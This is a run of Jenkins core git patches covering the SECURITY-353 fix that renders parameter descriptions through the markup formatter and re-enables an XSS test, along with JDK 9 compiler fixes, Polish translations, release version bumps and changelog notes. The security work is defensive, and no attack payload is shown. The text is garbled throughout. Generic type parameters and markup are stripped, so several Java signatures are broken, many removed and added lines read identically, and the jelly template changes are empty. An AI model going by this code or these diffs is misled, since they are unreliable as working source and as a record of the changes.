a/core/src/main/resources/hudson/model/ParametersAction/index.jelly +++ b/core/src/main/resources/hudson/model/ParametersAction/index.jelly @@ -36,6 +36,7 @@ THE SOFTWARE.

                                          ${%Build} ${build.displayName}

                                          + diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly index d91f088dcb..a166f87dc8 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly @@ -45,6 +45,7 @@ THE SOFTWARE. + diff --git a/core/src/main/resources/lib/form/entry.jelly b/core/src/main/resources/lib/form/entry.jelly index 1642dae3b5..b8d8a38e3b 100644 --- a/core/src/main/resources/lib/form/entry.jelly +++ b/core/src/main/resources/lib/form/entry.jelly @@ -71,7 +71,7 @@ THE SOFTWARE. - + @@ -82,7 +82,7 @@ THE SOFTWARE. - + diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index eb8090d6f6..46a89eeb26 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -226,7 +226,7 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO build page should not leave param name unescaped; parameters page should escape param name; parameters page should not leave param name unescaped; parameters page should mark up param description; parameters page should not leave param description unescaped") + @Ignore("TODO build page should mark up param description; parameters page should mark up param description") @Issue("SECURITY-353") @Test public void xss() throws Exception { -- GitLab From 2c1c1ecef964c143e5213c87ed8c1bdf282156c6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 17 Oct 2016 16:27:49 -0400 Subject: [PATCH 624/811] Placate the JDK 9 compiler. (cherry picked from commit 441bf1c2553d76425f9834906e63415eea6f391f) --- core/src/main/java/hudson/model/Job.java | 4 ++-- core/src/main/java/hudson/model/ParametersAction.java | 6 +++--- core/src/main/java/hudson/tools/ToolDescriptor.java | 2 +- core/src/main/java/hudson/util/CopyOnWriteList.java | 2 +- core/src/main/java/hudson/util/Iterators.java | 9 ++++++--- .../main/java/jenkins/model/InterruptedBuildAction.java | 2 +- 6 files changed, 14 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 85d440f25a..339046161b 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -680,7 +680,7 @@ public abstract class Job, RunT extends Run getBuilds() { - return RunList.fromRuns(_getRuns().values()); + return RunList.fromRuns(_getRuns().values()); } /** @@ -712,7 +712,7 @@ public abstract class Job, RunT extends Run getBuildsAsMap() { - return Collections.unmodifiableSortedMap(_getRuns()); + return Collections.unmodifiableSortedMap(_getRuns()); } /** diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index c8ed6c7c3c..d766f6a7c5 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -49,7 +49,7 @@ import java.util.Set; import java.util.logging.Level; import java.util.logging.Logger; -import static com.google.common.collect.Lists.newArrayList; +import com.google.common.collect.Lists; import static com.google.common.collect.Sets.newHashSet; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -144,7 +144,7 @@ public class ParametersAction implements RunAction2, Iterable, Q @Exported(visibility=2) public List getParameters() { - return Collections.unmodifiableList(filter(parameters)); + return Collections.unmodifiableList(filter(parameters)); } public ParameterValue getParameter(String name) { @@ -204,7 +204,7 @@ public class ParametersAction implements RunAction2, Iterable, Q if(overrides == null) { return new ParametersAction(parameters); } - List combinedParameters = newArrayList(overrides); + List combinedParameters = Lists.newArrayList(overrides); Set names = newHashSet(); for(ParameterValue v : overrides) { diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 567c298a0d..d07639425f 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -86,7 +86,7 @@ public abstract class ToolDescriptor extends Descrip * Lists up {@link ToolPropertyDescriptor}s that are applicable to this {@link ToolInstallation}. */ public List getPropertyDescriptors() { - return PropertyDescriptor.for_(ToolProperty.all(),clazz); + return PropertyDescriptor.for_(ToolProperty.all(), clazz); } /** diff --git a/core/src/main/java/hudson/util/CopyOnWriteList.java b/core/src/main/java/hudson/util/CopyOnWriteList.java index 43e189ba19..4e6af51dc6 100644 --- a/core/src/main/java/hudson/util/CopyOnWriteList.java +++ b/core/src/main/java/hudson/util/CopyOnWriteList.java @@ -143,7 +143,7 @@ public class CopyOnWriteList implements Iterable { } public List getView() { - return Collections.unmodifiableList(core); + return Collections.unmodifiableList(core); } public void addAllTo(Collection dst) { diff --git a/core/src/main/java/hudson/util/Iterators.java b/core/src/main/java/hudson/util/Iterators.java index 2b5d88f74b..74d82950dc 100644 --- a/core/src/main/java/hudson/util/Iterators.java +++ b/core/src/main/java/hudson/util/Iterators.java @@ -24,6 +24,7 @@ package hudson.util; import com.google.common.base.Predicates; +import com.google.common.collect.ImmutableList; import java.util.Collections; import java.util.Iterator; @@ -314,12 +315,13 @@ public class Iterators { *

                                          * That is, this creates {A,B,C,D} from {A,B},{C,D}. */ + @SafeVarargs public static Iterable sequence( final Iterable... iterables ) { return new Iterable() { public Iterator iterator() { - return new FlattenIterator>(Arrays.asList(iterables)) { + return new FlattenIterator>(ImmutableList.copyOf(iterables)) { protected Iterator expand(Iterable iterable) { - return cast(iterable).iterator(); + return Iterators.cast(iterable).iterator(); } }; } @@ -350,8 +352,9 @@ public class Iterators { }; } + @SafeVarargs public static Iterator sequence(Iterator... iterators) { - return com.google.common.collect.Iterators.concat(iterators); + return com.google.common.collect.Iterators.concat(iterators); } /** diff --git a/core/src/main/java/jenkins/model/InterruptedBuildAction.java b/core/src/main/java/jenkins/model/InterruptedBuildAction.java index b5f9c6b6f5..c734d58bbb 100644 --- a/core/src/main/java/jenkins/model/InterruptedBuildAction.java +++ b/core/src/main/java/jenkins/model/InterruptedBuildAction.java @@ -43,7 +43,7 @@ public class InterruptedBuildAction extends InvisibleAction { private final List causes; public InterruptedBuildAction(Collection causes) { - this.causes = ImmutableList.copyOf(causes); + this.causes = ImmutableList.copyOf(causes); } @Exported -- GitLab From 0b471b7b693eb370c52c82382257419a07171f93 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 18:01:46 -0500 Subject: [PATCH 625/811] [SECURITY-353] Fixed markup formatter for StringParameterDefinition/Value. --- .../main/java/hudson/model/ParameterValue.java | 18 ++++++++++++++++++ .../StringParameterDefinition/index.jelly | 3 ++- .../model/StringParameterValue/value.jelly | 3 ++- .../test/java/hudson/model/ParametersTest.java | 2 -- 4 files changed, 22 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/ParameterValue.java b/core/src/main/java/hudson/model/ParameterValue.java index d3b39f614a..fbea3895fd 100644 --- a/core/src/main/java/hudson/model/ParameterValue.java +++ b/core/src/main/java/hudson/model/ParameterValue.java @@ -31,11 +31,16 @@ import hudson.scm.SCM; import hudson.tasks.BuildWrapper; import hudson.tasks.Builder; import hudson.util.VariableResolver; +import java.io.IOException; import java.io.Serializable; import java.util.Map; +import java.util.logging.Logger; +import jenkins.model.Jenkins; import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.export.Exported; @@ -70,6 +75,9 @@ import org.kohsuke.stapler.export.ExportedBean; */ @ExportedBean(defaultVisibility=3) public abstract class ParameterValue implements Serializable { + + private static final Logger LOGGER = Logger.getLogger(ParameterValue.class.getName()); + protected final String name; private String description; @@ -91,6 +99,16 @@ public abstract class ParameterValue implements Serializable { this.description = description; } + @Restricted(DoNotUse.class) // for value.jelly + public String getFormattedDescription() { + try { + return Jenkins.getInstance().getMarkupFormatter().translate(description); + } catch (IOException e) { + LOGGER.warning("failed to translate description using configured markup formatter"); + return ""; + } + } + /** * Name of the parameter. * diff --git a/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly index 2f99f33da9..2c6a20bfbb 100644 --- a/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +

                                          diff --git a/core/src/main/resources/hudson/model/StringParameterValue/value.jelly b/core/src/main/resources/hudson/model/StringParameterValue/value.jelly index 961a583d29..e3de9ff09a 100644 --- a/core/src/main/resources/hudson/model/StringParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/StringParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 46a89eeb26..fe885e164c 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -17,7 +17,6 @@ import java.util.regex.Pattern; import org.apache.http.HttpStatus; import static org.hamcrest.Matchers.*; import static org.junit.Assert.*; -import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.rules.ErrorCollector; @@ -226,7 +225,6 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO build page should mark up param description; parameters page should mark up param description") @Issue("SECURITY-353") @Test public void xss() throws Exception { -- GitLab From ea2ca1c5cb6be5eaeb73ac8401097529d6e5df1a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 18:10:10 -0500 Subject: [PATCH 626/811] Extended markup formatter fix to other core parameter types. --- .../hudson/model/BooleanParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/BooleanParameterValue/value.jelly | 3 ++- .../hudson/model/ChoiceParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/FileParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/FileParameterValue/value.jelly | 3 ++- .../hudson/model/PasswordParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/PasswordParameterValue/value.jelly | 3 ++- .../resources/hudson/model/RunParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/RunParameterValue/value.jelly | 3 ++- .../resources/hudson/model/TextParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/TextParameterValue/value.jelly | 3 ++- 11 files changed, 22 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly index 4a06f79573..b2069b3b67 100644 --- a/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                                          diff --git a/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly b/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly index 4dd9f679d7..7eaf8be8f6 100644 --- a/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly index 36795a45f6..60c86d9a24 100644 --- a/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                                          diff --git a/core/src/main/resources/hudson/model/FileParameterValue/value.jelly b/core/src/main/resources/hudson/model/FileParameterValue/value.jelly index 4c5c35c1d4..0afcb71564 100644 --- a/core/src/main/resources/hudson/model/FileParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/FileParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + diff --git a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly index 9bac23608c..bf5db564fa 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                                          diff --git a/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly b/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly index d1a142f2db..e4a5007730 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly index 62dbc44469..db37d683d3 100644 --- a/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                                          diff --git a/core/src/main/resources/hudson/model/TextParameterValue/value.jelly b/core/src/main/resources/hudson/model/TextParameterValue/value.jelly index 5c089e0ac0..8ae92827ad 100644 --- a/core/src/main/resources/hudson/model/TextParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/TextParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file -- GitLab From eaa4c5c4776d93b6566205309d940b81fd1aa2bf Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Wed, 21 Dec 2016 23:38:11 +0100 Subject: [PATCH 627/811] Polish translations --- .../CoreUpdateMonitor/message_pl.properties | 25 ++++++++++++-- .../resources/hudson/Messages_pl.properties | 11 +++---- .../hudson/diagnosis/Messages_pl.properties | 23 +++++++++++++ .../hudson/lifecycle/Messages_pl.properties | 25 ++++++++++++++ .../WindowsInstallerLink/index_pl.properties | 26 +++++++++++++++ .../model/AbstractBuild/index_pl.properties | 4 +-- .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 23 +++++++++++++ .../hudson/model/Job/index_pl.properties | 1 + .../hudson/model/Messages_pl.properties | 33 +++++++------------ .../config_pl.properties | 24 ++++++++++++++ .../hudson/model/Run/logKeep_pl.properties | 5 ++- .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 24 ++++++++++++++ .../model/UpdateCenter/index_pl.properties | 3 +- .../hudson/security/Messages_pl.properties | 2 ++ .../model/Jenkins/legend_pl.properties | 33 +++++++++++++++---- .../project/config-publishers2_pl.properties | 4 +-- .../project/config-trigger_pl.properties | 2 +- 20 files changed, 294 insertions(+), 46 deletions(-) create mode 100644 core/src/main/resources/hudson/diagnosis/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/lifecycle/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties create mode 100644 core/src/main/resources/hudson/model/BooleanParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/FileParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/PasswordParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/StringParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/TextParameterDefinition/config_pl.properties diff --git a/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties b/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties index 6f5ff479b3..18a2cbe3c3 100644 --- a/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties +++ b/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties @@ -1,6 +1,25 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2016, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. NewVersionAvailable=Nowa wersja Jenkinsa ({0}) jest dost\u0119pna do pobrania (historia zmian). -Or\ Upgrade\ Automatically=Albo uaktualnij automatycznie +Or\ Upgrade\ Automatically=Uaktualnij automatycznie UpgradeCompleteRestartNotSupported=Aktualizacja Jenkinsa do wersji {0} zako\u0144czy\u0142a si\u0119 pomy\u015Blnie, oczekiwanie na ponowne uruchomienie. UpgradeProgress=Aktualizacja Jenkinsa do wersji {0} trwa lub nie powiod\u0142a si\u0119. diff --git a/core/src/main/resources/hudson/Messages_pl.properties b/core/src/main/resources/hudson/Messages_pl.properties index 21c4155672..c20122aeae 100644 --- a/core/src/main/resources/hudson/Messages_pl.properties +++ b/core/src/main/resources/hudson/Messages_pl.properties @@ -19,15 +19,14 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - Util.millisecond={0} ms Util.second={0} sek Util.minute={0} min -Util.hour ={0} godz -Util.day ={0} {0,choice,0#dni|1#dzie\u0144|1 Date: Sat, 24 Dec 2016 09:09:58 -0500 Subject: [PATCH 628/811] [FIXED JENKINS-25333] Update to Winstone 3.2. (#2673) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 4c251e823c..16be8a39b5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.1 + 3.2 test -- GitLab From 936cd2826eadb92c9638ec801e7211db4159ccfd Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sat, 24 Dec 2016 11:50:38 -0800 Subject: [PATCH 629/811] [maven-release-plugin] prepare release jenkins-2.32.1 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4c8095b692..056f1412da 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 cli diff --git a/core/pom.xml b/core/pom.xml index d2a566e883..2696895db2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 jenkins-core diff --git a/pom.xml b/pom.xml index fc79079bed..0fa90db482 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.32.1 diff --git a/test/pom.xml b/test/pom.xml index aa6df4df65..7473c6ca87 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 test diff --git a/war/pom.xml b/war/pom.xml index 6f844625c1..2846a6b54c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 jenkins-war -- GitLab From 6996049da7b67499d05e44c99df029075e2319ec Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sat, 24 Dec 2016 11:50:38 -0800 Subject: [PATCH 630/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 056f1412da..604a6459fc 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2696895db2..0526674a0d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 0fa90db482..bf7e674ac5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.32.1 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 7473c6ca87..045b40c680 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 2846a6b54c..57c54b16a6 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT jenkins-war -- GitLab From d05752a03248035bc571732ed8c3cf6cf1e4dc05 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 16:37:18 +0100 Subject: [PATCH 631/811] [FIXED JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (#2677) [JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. --- .../main/resources/hudson/PluginManager/table.properties | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index cc7af60893..e7cd25852c 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -25,13 +25,12 @@ compatWarning=\ Consult the plugin release notes for details. coreWarning=\ Warning: This plugin is built for Jenkins {0} or newer. \ - It may or may not work in your Jenkins. + Jenkins will refuse to load this plugin if installed. depCompatWarning=\ Warning: This plugin requires dependent plugins be upgraded and at least one of these dependent plugins claims to use a different settings format than the installed version. \ Jobs using that plugin may need to be reconfigured, and/or you may not be able to cleanly revert to the prior version without manually restoring old settings. \ Consult the plugin release notes for details. depCoreWarning=\ - Warning: This plugin requires dependent plugins that are \ - built for Jenkins {0} or newer. The dependent plugins may \ - or may not work in your Jenkins and consequently this \ - plugin may or may not work in your Jenkins. + Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ + Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ + and in turn loading this plugin will fail. -- GitLab From cde0363260241844908f87a24d7c46bbb32566eb Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:35:24 -0800 Subject: [PATCH 632/811] [maven-release-plugin] prepare release jenkins-2.38 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index c16d16e748..389e39d15b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 cli diff --git a/core/pom.xml b/core/pom.xml index 3d177c3e15..dc1dbceef7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 jenkins-core diff --git a/pom.xml b/pom.xml index 1e96f58882..6512b1a3a2 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.38 diff --git a/test/pom.xml b/test/pom.xml index a82e167128..6b78d84aad 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 test diff --git a/war/pom.xml b/war/pom.xml index 16be8a39b5..7ada2cba0c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 jenkins-war -- GitLab From fb501134f4d48718237056bcad64ae6132a1460b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:35:24 -0800 Subject: [PATCH 633/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 389e39d15b..0d76ef00b4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index dc1dbceef7..9e4e54a353 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6512b1a3a2..1d7944f044 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.38 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 6b78d84aad..1437c70f63 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 7ada2cba0c..6498791cf7 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT jenkins-war -- GitLab From 289c7fb2dd5cffe06a715f84306894bb6c79580c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:42:36 -0800 Subject: [PATCH 634/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index beb6bf8928..bb7e057401 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                        +

                                        What's new in 2.38 (2016/12/25)

                                        +
                                          +
                                        • +

                                        What's new in 2.37 (2016/12/18)

                                        • -- GitLab From 25e2df69776a9b7c2e03272e405fda0c05804169 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 20:42:13 +0100 Subject: [PATCH 635/811] Noting #2673, #2674, #2677 --- changelog.html | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index bb7e057401..8c92216741 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,17 @@ Upcoming changes

                                          What's new in 2.38 (2016/12/25)

                                            -
                                          • +
                                          • + Update to Winstone 3.2 to support ad-hoc certification generation on Java 8 (using unsupported APIs). + This option is deprecated and will be removed in a future release. + We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. + (issue 25333) +
                                          • + The install-plugin CLI command now correctly installs plugins when multiple file arguments are specified. + (issue 32358) +
                                          • + Correctly state that Jenkins will refuse to load plugins whose dependencies are not satisfied in plugin manager. + (issue 40666)

